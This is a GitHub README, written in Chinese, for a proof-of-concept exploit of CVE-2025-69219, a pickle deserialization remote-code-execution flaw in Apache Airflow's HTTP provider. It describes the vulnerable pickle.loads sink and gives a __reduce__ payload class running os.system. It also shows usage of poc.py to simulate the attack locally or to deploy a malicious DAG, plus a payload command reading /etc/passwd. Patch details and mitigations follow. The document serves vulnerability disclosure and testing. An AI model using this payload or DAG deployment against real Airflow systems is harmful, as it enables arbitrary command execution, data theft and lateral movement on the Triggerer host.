sak110/CVE-2025-69219
GitHub: sak110/CVE-2025-69219
Apache Airflow HTTP Provider pickle 反序列化漏洞（CVE-2025-69219）的概念验证代码，用于验证和测试该 RCE 漏洞的可利用性。
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# CVE-2025-69219 — Apache Airflow Providers HTTP 通过不安全的 Pickle 反序列化实现 RCE
## 概述
Apache Airflow 的 HTTP provider 使用 Python 的 `pickle` 模块来序列化和反序列化延迟任务的 HTTP 触发器响应。`HttpOperator.execute_complete()` 中的易受攻击接收点如下所示：
```
# 有漏洞 (补丁前) — providers/http/src/.../operators/http.py
response = pickle.loads(base64.standard_b64decode(event["response"]))
```
`event` 字典是从 Airflow **数据库** 中读取的，这意味着任何拥有 DB 写入权限的主体都可以植入恶意的 pickle 负载。当 **Triggerer worker** 处理延迟任务时，它会盲目地反序列化该负载，以 Triggerer 进程的权限执行任意 OS 命令 —— 这等同于 DAG Author 的权限。
## 根本原因
对不可信数据调用 `pickle.loads()` 是一种本质上不安全的操作。Pickle 的 `__reduce__` 协议允许将任何 Python 可调用对象嵌入到序列化 blob 中，并在反序列化期间调用，且没有任何沙箱保护。
Airflow Triggerer 在完成时序列化 HTTP 响应并将其存储在 DB 中：
```
# triggers/http.py (补丁前)
yield TriggerEvent({
"status": "success",
"response": base64.standard_b64encode(pickle.dumps(response)).decode("ascii"),
})
```
DB 级别的攻击者将此值替换为精心构造的 pickle blob，例如：
```
class RCEPayload:
def __reduce__(self):
return (os.system, ("id",))
payload = base64.b64encode(pickle.dumps(RCEPayload())).decode()
```
Triggerer 随后调用 `execute_complete` → `pickle.loads()` → **RCE**。
## 修复方案 (6.0.0)
该补丁完全用安全的显式 JSON 序列化器取代了 pickle：
```
# triggers/http.py (补丁后)
yield TriggerEvent({
"status": "success",
"response": HttpResponseSerializer.serialize(response), # JSON dict
})
```
```
# HttpResponseSerializer.deserialize() — 验证输入是否为 dict，绝不执行代码
if isinstance(data, str):
raise TypeError("Response data must be a dict, got str")
```
新的反序列化器仅从已知字段（`status_code`、`headers`、`content` 等）重构 `requests.Response` 对象 —— 不可能执行任意代码。
## PoC
### 要求
```
# Python 3.9+; 安装有漏洞的版本
pip install "apache-airflow-providers-http>=5.1.0,<6.0.0"
```
### 模式 1 — 本地模拟（无需 Airflow）
在进程中重现易受攻击的 `pickle.loads()` 调用：
```
python poc.py
# 或者使用自定义命令：
python poc.py --cmd "whoami"
```
**示例输出：**
```
CVE-2025-69219 | Apache Airflow Providers HTTP < 6.0.0
Unsafe Pickle Deserialization → RCE via HttpOperator
-------------------------------------------------------
[*] Command : id
[*] Pickle payload: gASVKAAAAAAAAACMAnBvc3lzdGVtlIWUUpQu...
[*] Triggering deserialization (simulating execute_complete) ...
uid=1000(user) gid=1000(user) groups=1000(user)
[+] os.system returned: 0 (0 = success)
```
### 模式 2 — 完整 DAG 部署（需要运行 providers-http < 6.0.0 的 Airflow 实例）
```
# 生成可部署的 DAG
python poc.py --mode dag --cmd "id"
# 复制到你的 Airflow DAGs 目录
cp cve_2025_69219_poc_dag.py $AIRFLOW_HOME/dags/
# 从 Airflow UI 或 CLI 触发
airflow dags trigger cve_2025_69219_poc
```
检查任务日志以获取命令输出。
### 打印原始负载
```
python poc.py --show-payload --cmd "cat /etc/passwd"
```
## 影响
| 因素 | 详情 |
|---|---|
| **谁能利用** | 任何拥有直接 Airflow DB 写入权限的用户 |
| **执行上下文** | Triggerer worker 进程（与 DAG Author 权限相同） |
| **可能性** | 低 —— 直接 DB 访问在配置良好的部署中是非标准的 |
| **影响范围** | Triggerer 节点上的完整主机 RCE：数据窃取、横向移动、持久化 |
## 缓解措施
1. **升级** `apache-airflow-providers-http` 至 **6.0.0** 或更高版本。
2. **限制 DB 访问** —— 只有 Airflow scheduler/webserver 服务账户应拥有对元数据 DB 的写入权限。
3. 在升级之前，确保所有延迟 HTTP 任务（`deferrable=True`）已完成或已清除，因为升级后使用 pickle 序列化的进行中任务将引发 `TypeError`（Provider 变更日志中记录的破坏性变更）。
```
pip install "apache-airflow-providers-http>=6.0.0"
```
## 时间线
| 日期 | 事件 |
|---|---|
| 2026-03-09 | Apache 软件基金会发布 CVE |
| 2026-03-09 | 修复合并 (PR #61662, commit 97839f7) |
| 2026-03-09 | 在 oss-security 邮件列表上披露 |
## 参考资料
- [NVD 上的 CVE-2025-69219](https://nvd.nist.gov/vuln/detail/CVE-2025-69219)
- [GitHub Advisory GHSA-9r5j-7r2x-rv4g](https://github.com/advisories/GHSA-9r5j-7r2x-rv4g)
- [补丁 PR #61662](https://github.com/apache/airflow/pull/61662)
- [补丁 commit 97839f7](https://github.com/apache/airflow/commit/97839f7b0a8ae66d6079bb7fad5a363068f61617)
- [oss-security 披露](http://www.openwall.com/lists/oss-security/2026/03/09/1)
## 免责声明
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